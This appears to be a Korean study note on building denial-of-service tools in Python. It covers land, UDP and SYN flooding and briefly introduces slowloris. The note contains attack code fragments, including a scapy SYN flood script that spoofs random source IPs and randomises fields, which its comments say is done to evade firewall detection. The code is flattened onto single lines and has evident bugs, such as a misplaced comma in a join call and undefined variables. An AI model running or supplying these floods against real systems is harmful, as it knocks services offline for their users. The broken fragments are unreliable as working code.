Search
Duplicate

서비스 거부 공격 도구의 구현

생성일
2022/06/13 15:14
태그
네트워크
보안
python

서비스 거부 공격 도구의 구현

flooding 공격

→ 출발지 IP 주소를 수시로 변경하면서, 불필요한 데이터를 계속 전송해 상대방에게 인위적으로 과부화를 유발시키는 기법
→ 일반적으로 IP 스푸핑 기법과 결합해 수행
→ 공격 시, 다수의 좀비 시스템을 동원 ⇒ DDOS 공격이라고도 부름
→ 네트워크 공격 중 가장 파괴적이고 위력적

봇넷

→ 동원된 다수의 좀비 시스템

랜드 공격 → 네트워크 계층에 기반

→ IP 스푸핑 공격을 변형한 기법
→ 출발지 IP 주소를 목적지 IP 주소와 동일하게 설정한 뒤, ICMP 요청 패킷 등을 공격 대상자에게 전송
→ 인위적인 과부화를 유발케 하는 네트워크 계층의 플러딩 공격
from scapy.all import * for x in range(1, 100): send(i/t) # 함수를 이용해 패킷을 100회 전송
Python
복사

UDP/TCP 플러딩 공격 → 전송 계층에 기반

→ UDP 패킷에는 출발지 IP 주소 항목이 있지만, 프로토콜 설계 특성상
→ 비연결 지향이기 때문에,
→ 해당 주소의 정확성 여부를 검증하지 않는다
→ 이러한 점을 악용 → 공격자는 UDP 또는 ICMP 패킷을 다량으로 전송하면서,
→ 마치 다른 사용자로부터 출발한 패킷처럼 조작할 수 있다
→ 서버는 자신이 운용 가능한 네트워크 대역폭이 제한적일 수밖에 없으므로,
→ 일정 정도의 임계치를 초과하면, 해당 서비스가 잠식
→ 다른 정상적인 접속 요청을 처리 못한다
while True: if time.time() > timeout: # 10초 초과시 종료 break else: pass client.sendto(bytes, (ip, port)) # 생성한 임의 패킷을 해당 IP와 포트 번호에 전송 sent = sent + 1
Python
복사
TCP 플러딩 공격 or SYN 플러딩 공격
→ 서버의 자원을 인위적으로 소모시키는 기법
UDP와의 차이점
TCP 플러딩 공격은 3단계 연결 설정 속성을 악용한다는 점
매 순간 공격 대상자에게 출발지 IP 주소를 조작하면서,
대량의 SYN 플래그를 쏟아 부으면
공격 대상자는 어느 순간 과부하 상태에 빠진다
→ 파괴력을 높이기 위해 흔히, TCP 플러딩 공격 수행시 봇넷을 이용
# 임의의 출발지 IP 주소를 생성하는 함수 def randomIP(): ip = ".",join(map(str, (random.randint(0, 255) for _ in range(4)))) return ip # 방화벽의 탐지 설정을 교란시키기 위해 무작위의 숫자를 추출하는 함수 def randInt(): x = random.randint(1000, 9000) return x # 조작된 패킷을 생성하는 함수 def SYN_Flood(dstIP, dstPort, counter): total = 0 print("Packets are sending...") for x in range(0, counter): s_port = randInt() # 포트 번호를 무작위로 설정 s_eq = randInt() # 일련 번호를 무작위로 설정 w_indow = randInt() # 윈도우 크기를 무작위로 설정 IP_Packet = IP() IP_Packet.src = randomIP() # 임의의 출발지 IP 주소를 생성 IP_Packet.dst = dsIP # 지정된 목적지 IP 주소를 공격 대상으로 설정 TCP_Packet = TCP() TCP_Packet.sport = s_port # 생성한 포트 번호를 사용 TCP_Packet.dport = dstPort # 지정된 목적지 포트 번호를 사용 TCP_Packet.flags = "S" # SYN 플래그 생성 TCP_Packet.seq = s_eq TCP_Packet.window = w_indow send(IP_Packet / TCP_Packet, verbose=0) # TCP 패킷 전송 total = total + 1 sys.stdout.write("\nTotal packets sent: %i\n" % total) def main(): # 조작된 패킷을 생성하고 전송하는 함수 dstIP = "127.0.0.1" # 공격 대상 IP 주소 dstPort = 4321 # 공격 대상 포트 번호 counter = 50 # TCP 플러딩 공격 횟수 지정 SYN_Flood(dstIP, int(dstPort), int(counter)) main()
Python
복사

슬로우로리스 공격 → 응용 계층

→ 웹 서비스에서 일어나는 플러딩 공격 중 가장 파괴적
→ 좀비 시스템이 없어도 상당한 효과